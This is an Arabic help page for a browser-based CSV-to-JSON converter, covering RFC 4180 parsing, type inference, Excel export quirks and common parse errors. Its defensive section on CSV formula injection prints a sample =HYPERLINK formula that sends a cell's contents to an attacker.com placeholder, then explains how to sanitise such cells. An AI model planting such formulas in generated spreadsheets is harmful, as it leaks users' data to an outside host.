محول CSV إلى JSON

الصق ملف CSV صالحاً — تصدير من Excel، تنزيل من Google Sheets، تفريغ قاعدة بيانات، أو استجابة API — وسيقوم المحول بإصدار مصفوفة JSON نظيفة في الوقت الفعلي. يتم التعامل مع الصف الأول كروؤس افتراضياً، لتصبح مفاتيح كائنات JSON؛ وتصبح الصفوف اللاحقة كائنات في مصفوفة JSON.

استنتاج النوع يرقّى:

• السلاسل النصية الرقمية الواضحة إلى أرقام (يبقى الرقم 42 عدداً صحيحاً، و3.14 عدداً عشرياً)
• سلاسل القيم المنطقية إلى قيم منطقية (true/false بغض النظر عن حالة الأحرف)
• الخلايا الفارغة إلى قيمة فارغة null

قم بإيقاف تشغيل هذه السلوكيات إذا كان المستهلك اللاحق صارماً بشأن الأنواع.

يتم التشغيل بالكامل في متصفحك باستخدام محلل RFC 4180 مصمم خصيصاً بالإضافة إلى JSON.stringify الأصلي (حسب ECMA-404). الناتج جاهز للصق في ملف `.json`، أو إرساله إلى واجهة برمجة تطبيقات REST، أو استخدامه كمجموعة بيانات JavaScript.

• الخطوة 1: الصق ملف CSV في المحرر. يتحقق المحلل أثناء الكتابة — يظهر خطأ CSV غير الصالح (اقتباسات غير مغلقة، صفوف غير منتظمة، فاصل خاطئ) الخطأ بالضبط مع السطر والعمود.
• الخطوة 2: قم بتكوين المحلل إذا لزم الأمر — اختر الفاصل (افتراضياً فاصلة؛ التبديل إلى فاصلة منقوطة لصادرات Excel في الاتحاد الأوروبي أو علامة التتبويب لملفات TSV)، وقم بتبديل وضع صف الرأس، واختر استنتاج النوع.
• الخطوة 3: يظهر إخراج JSON مباشرة في الجزء الأيمن. انقر فوق نسخ (الحافظة) أو تنزيل (ملف `.json`).

بالنسبة لسير العمل البرمجي، يتم عرض نفس المنطق عبر نقطة النهاية `/api/calculate` — أرسل CSV عبر POST إليها وتلقى JSON في نص الاستجابة. السلامة متوفرة للبيانات الجدولية المسطحة؛ تحتاج البيانات المتداخلة إلى استراتيجية تسطيح مخصصة.

CSV (قيم مفصولة بفواصل) هي تنسيق جدول مسطح — كل سطر هو صف، والفصول مفصولة بفاصل. ليس لها أنواع أصلية (كل خلية عبارة عن نص)، ولا تداخل (مستوى واحد فقط، مثل جدول قاعدة بيانات)، والحد الأدنى من البيانات الوصفية (صف رأس اختياري). يمكن قراءتها عالمياً: كل أداة جداول بيانات، وكل استيراد لقاعدة بيانات، وكل أداة سطر الأوامر تتعامل مع CSV.

JSON (ترميز كائنات JavaScript) هو تنسيق هرمي مع أنواع صريحة (نص، رقم، قيمة منطقية، فارغ)، كائنات ومصفوفات متداخلة، ومفاتيح ذاتية الوصف لكل سجل. JSON هي لغة التخاطب الشائعة لواجهات برمجة تطبيقات REST/GraphQL، وقواعد بيانات NoSQL، وملفات التكوين.

متى تستخدم أياً منهما:

• CSV للبيانات الجدولية الضخمة، تبادل جداول البيانات، استيراد ETL، وسير عمل المحللين.
• JSON لواجهات برمجة تطبيقات، التكوينات، السجلات المتداخلة، والرسائل بين الآلات.

التحويل بينهما عند الحدود: استيراد CSV ← المعالجة كـ JSON ← التصدير مرة أخرى إلى CSV إذا كان مستهلك جدول البيانات يحتاج إليه.

RFC 4180 (2005) هو المعيار المعلوماتي لـ IETF الخاص بـ CSV.

القواعد الأساسية:

• يتم فصل السجلات بواسطة CRLF (Windows) أو LF (Unix).
• يتم فصل الحقول بواسطة فاصل (فاصلة في المعيار؛ يتم تغييرها عادة في الممارسة العملية).
• يجب إحاطة الحقول التي تحتوي على الفاصل، أو علامة اقتباس مزدوجة، أو سطر جديد بعلامات اقتباس مزدوجة.
• داخل الحقل المقتبسة، يتم الهروب من علامة الاقتباس المزدوجة الحرفية بمضاعفتها (`""` تمثل `"` واحدة).
• يظهر صف رأس اختياري كأول سجل.

المحلل المنفذ هنا يتحمل نهايات الأسطر LF فقط، وفواصل الفاصلة المنقوطة/علامة التتبويب/الأنبوب (تبديل في الإعدادات)، وUTF-8 BOM في بداية الملف (تتم إزالتها تلقائياً)، وسطراً جديداً لاحقاً في نهاية الملف. وهو يرفض الحقول المقتبسة غير المغلقة والصفوف غير المنتظمة مع رسائل خطأ واضحة.

استنتاج النوع يرقّى القيم الواضحة غير المقتبسة إلى أنواع JSON الأصلية.

• الأرقام: الأنماط الرقمية التي تتطابق مع بناء الجملة للأعداد الصحيحة أو العشرية في JSON تصبح أرقام JSON. `42` ← عدد صحيح 42. `3.14` ← عدد عشري 3.14. `1e6` ← 1000000. `01234` غامض — ترفض محللات الأرقام الصارمة الأصفار البادئة، لذلك يظل سلسلة نصية (وهو ما تريده للرموز البريدية).
• القيم المنطقية: `true` و `false` (بغض النظر عن حالة الأحرف) تصبح قيم منطقية لـ JSON. ملاحظة: هذا هو اصطلاح YAML 1.2 / JSON الصارم — `yes`/`no`/`on`/`off` تظل كسلاسل نصية (إصلاح 'مشكلة النرويج').
• فارغ: الخلايا الفارغة (بين فاصلين متتاليين أو في نهاية الصف) تصبح قيمة `null` في JSON.

إذا قمت بإيقاف تشغيل استنتاج النوع، ستظل كل خلية عبارة عن سلسلة نصية بغض النظر عن المحتوى — وهو أمر مفيد عندما يتوقع مستهلكك اللاحق (مثل خط أنابيب TypeScript صارم) أنواعاً موحدة.

Excel هو منتج CSV المسيطر، وتأتي صادراته مع بعض الغرائب.

• الترميز: غالباً ما يحفظ Excel لنظام التشغيل Windows ملفات CSV بتنسيق UTF-8 مع BOM (يزيله المحلل تلقائياً) أو Windows-1252 (Latin-1) للإصدارات الأقدم. عادة ما يحفظ Excel لنظام التشغيل Mac ملفات UTF-8 نظيفة. إذا ظهرت أحرف غير ASCII مشوهة، أعد حفظ الملف كـ UTF-8 في تطبيق جداول البيانات الخاص بك قبل اللصق.
• الفواصل: في المناطق المحلية للاتحاد الأوروبي (ألمانيا، فرنسا، إلخ)، يستخدم Excel الفواصل المنقوطة لأن الفاصلة هي الفاصل العشري؛ قم بتغيير إعداد الفاصل وفقاً لذلك.
• نهايات الأسطر: يستخدم Excel تنسيق CRLF افتراضياً — مدعوم بالكامل.
• الاقتباس: يضع Excel اقتباسات لأي خلية تحتوي على فاصلة أو علامة اقتباس مزدوجة؛ يتم الهروب من الاقتباسات المضمنة عبر `""`.
• تنسيق الأرقام: قد يقوم Excel بتصدير `1,234.56` (فاصلة كفاصل آلاف) والذي سيعامله المحلل كعلامة نصية ما لم تقم بإعادة التنسيق.
• أعمدة التاريخ تُصدَّر كسلسلة نصية افتراضية للمنطقة المحلية — وعادة ما تحتاج إلى معالجة لاحقة للتحويل إلى ISO 8601.

JSON هو تنسيق الطلب/الاستجابة المسيطر لواجهات برمجة تطبيقات REST، ونهايات GraphQL، ومعظم خدمات الويب الحديثة.

يعد تحويل CSV إلى JSON خطوة متكررة عند:

• استيراد البيانات بالجملة عبر واجهة برمجة تطبيقات تقبل مصفوفات JSON (مثل تسجيل المستخدم، وبذر كتالوج المنتجات، ونهايات التحديث بالجملة)؛
• بذر قواعد بيانات NoSQL (MongoDB، DynamoDB، Cassandra) التي تستورد JSON أصلياً عبر `mongoimport`، أو `aws dynamodb batch-write-item`، أو ما شابه ذلك؛
• تغذية خطوط أنابيب ETL (Airflow، Prefect، dbt) التي تنقل صادرات CSV من خلال تحولات تعتمد على JSON؛
• ملء بيانات نموذجية واجهة أمامية لنماذج مكونات React/Vue/Angular.

بعد التحويل، تحقق من صحة إخراج JSON مقابل المخطط اللاحق الخاص بك (مخطط JSON، نص طلب OpenAPI، نوع إدخال GraphQL) لاكتشاف عدم تطابق الأنواع قبل النشر.

JSON هو تنسيق البيانات الأصلي لمحركات تشغيل JavaScript (المتصفح، Node.js، Deno، Bun).

قم بتحويل CSV إلى JSON عندما تحتاج إلى:

• تضمين مجموعة بيانات ثابتة في مكون React/Vue (`import data from './data.json'`)؛
• بذر مخزن Redux/Pinia/Zustand بحالة أولية؛
• تغذية مكتبة رسوم بيانية (Chart.js، D3، Plotly) تتوقع JSON؛
• إنشاء نموذج أولي لبرنامج نصي لـ Node.js يعالج السجلات قبل الكتابة في قاعدة بيانات؛
• بناء نقطة نهاية وهمية لـ Express/Fastify تُرجع بيانات عينة.

إخراج JSON من هذا المحول متوافق تماماً مع ECMA-404 — يعمل `JSON.parse()`، وأجسام طلبات POST الخاصة بـ `fetch()`، واستنتاج أنواع TypeScript (`type Row = typeof data[0]`) دون تعديل.

بالنسبة لمجموعات البيانات الكبيرة جداً (أكثر من 10 آلاف صف)، فكر في البث باستخدام Papa Parse بدلاً من التحويل لمرة واحدة.

حقن CSV (يسمى أيضاً حقن الصيغ) هو ثغرة أمنية في تطبيقات الويب حيث يتم فتح ملف CSV يحتوي على بادئات صيغ (`=`، `+`، `-`، `@`) في Excel أو Google Sheets، ويقوم جدول البيانات تلقائياً بتنفيذ الصيغة.

يمكن للمهاجمين استخدام هذا لـ:

• استخراج البيانات (`=HYPERLINK("http://attacker.com?"&A1, "click")`),
• تشغيل أوامر تعسفية (بناء جملة ماكرو Excel القديم)،
• أو خداع المستخدمين لزيارة عناوين URL ضارة.

هذا المحول للقراءة فقط (CSV ← JSON)، لذلك فهو لا يدخل مخاطر حقن. ولكن إذا كان تطبيقك ينشئ صادرات CSV من إدخال المستخدم — فقم بتعقيمها.

التخفيف القياسي: ضع بادئة لأي خلية تبدأ بـ `=`، أو `+`، أو `-`، أو `@`، أو `\t`، أو `\r`، أو `0x09` بعلامة اقتباس مفردة (`'=cmd|...`) قبل الكتابة إلى CSV. تمتلك OWASP ورقة غش كاملة لحقن CSV تغطي جميع المتغيرات.

خمسة أخطاء تشكل 90% من حالات فشل تحليل CSV.

• حقل مقتبس غير مغلق — يبدأ الحقل بـ `"` ولكن ليس له أبداً `"` إغلاق مطابق. يستمر المحلل في القراءة حتى نهاية الملف، ثم يحدث خطأ. الإصلاح: تأكد من أن كل اقتباس فاتح له إغلاق مطابق.
• صفوف غير منتظمة — بعض الصفوف لها حقول أقل أو أكثر من الرأس. الأسباب: فواصل أسطر شاردة داخل نص غير مقتبس، فواصل مفقودة أو إضافية. الإصلاح: تحقق من أن عدد الأعمدة متسق.
• فاصل خاطئ — يستخدم ملفك فواصل منقوطة ولكن تم تعيين المحلل على فواصل. قم بتغيير إعداد الفاصل.
• نمط هروب خاطئ — استخدام `\"` (بأسلوب JSON) بدلاً من `""` (بأسلوب RFC 4180) داخل الحقول المقتبسة. الإصلاح: إعادة التصدير من أداة المصدر مع اقتباس RFC 4180 المناسب.
• عدم تطابق الترميز — تظهر الأحرف غير UTF-8 مشوهة. أعد حفظ ملف المصدر بتنسيق UTF-8 (تقدم معظم تطبيقات جداول البيانات هذا الخيار في حفظ باسم).

توضح رسالة الخطأ في المحلل السطر والعمود بالضبط.

خمس اعتبارات للتحويل ذهاباً وإياباً يجب أن يعرفها كل مطور.

• البيانات المسطحة: تحافظ جداول CSV المسطحة النقية → JSON → CSV على قيم الخلايا، والأنواع (بصرف النظر عن ترقية النوع إذا أعدت تحليل JSON)، وترتيب الأعمدة.
• JSON المتداخل: لا يمكن تمريره ذهاباً وإياباً عبر CSV بدون تسطيح. اختر استراتيجية: أسماء أعمدة بترميز النقطة (`address.city`، `address.zip`)، سلاسل JSON داخل الخلايا، أو المستوى الأول فقط.
• ترقية النوع: تتم ترقية السلاسل الرقمية والمنطقية عند التحويل من CSV إلى JSON؛ إذا قمت بالتصدير مرة أخرى إلى CSV، يتم إصدارها بشكلها الأصلي. تحتاج الرموز البريدية (`01234`) إلى اقتباسات في ملف CSV المصدر لتنجو.
• ترتيب الرأس: يحافظ المحلل على ترتيب أعمدة المصدر. يتم الاحتفاظ بترتيب مفاتيح كائنات JSON بواسطة محركات JavaScript الحديثة.
• الخلايا الفارغة: تصبح قيمة فارغة null في JSON؛ وإذا قمت بالتصدير مرة أخرى، فقم بتكوين كاتب CSV الخاص بك لإصدار سلاسل فارغة أو قيم `null` الحرفية كما كانت في الأصل.

اختبر باستخدام تركيبات غير تفهية قبل الاعتماد على جولات الذهاب والإياب في خطوط الإنتاج.

تعيين النوع لمحة سريعة:

• صف رأس CSV → مفاتيح كائن JSON؛
• صف CSV → كائن JSON؛
• خلية CSV (غير مقتبسة، رقمية) → رقم JSON؛
• خلية CSV (غير مقتبسة، صحيح/خطأ) → قيمة منطقية لـ JSON؛
• خلية CSV (فارغة) → قيمة فارغة null لـ JSON؛
• خلية CSV (مقتبسة أو غير رقمية) → سلسلة نصية لـ JSON.

مقارنة الأدوات: هذا المحول (متصفح، فوري، بدون تثبيت، صارم مع RFC 4180) مقابل Papa Parse (مكتبة JS، بث، خيوط عاملة) مقابل csvkit (واجهة سطر أومر Python، ملفات كبيرة، اكتشاف اللهجات) مقابل `jq -R -c -f csv2json.jq` (صدفة Unix، برمجي).

أفضل الممارسات:

• قم دائماً باقتباس الحقول الغامضة (المعرفات الرقمية، الرموز البريدية، السلاسل ذات الأصفار البادئة) في ملف CSV المصدر.
• استخدم ترميز UTF-8 للتوافق — أعد حفظ ملفات Excel القديمة بتنسيق UTF-8.
• تحقق من صحة إخراج JSON مقابل المخطط اللاحق الخاص بك (مخطط JSON، OpenAPI، أنواع TypeScript) — اكتشاف أخطاء الأنواع عند الحدود، وليس في الإنتاج.
• احتفظ بـ CSV كمصدر للحقيقة للبيانات الجدولية وأعد إنشاء JSON في وقت الإنشاء/الاستيراد عندما يكون ذلك ممكناً.
• للملفات التي تزيد عن 50 ميجابايت، انتقل إلى أدوات البث (عامل Papa Parse، خط أنابيب csvkit) بدلاً من التحويل داخل المتصفح.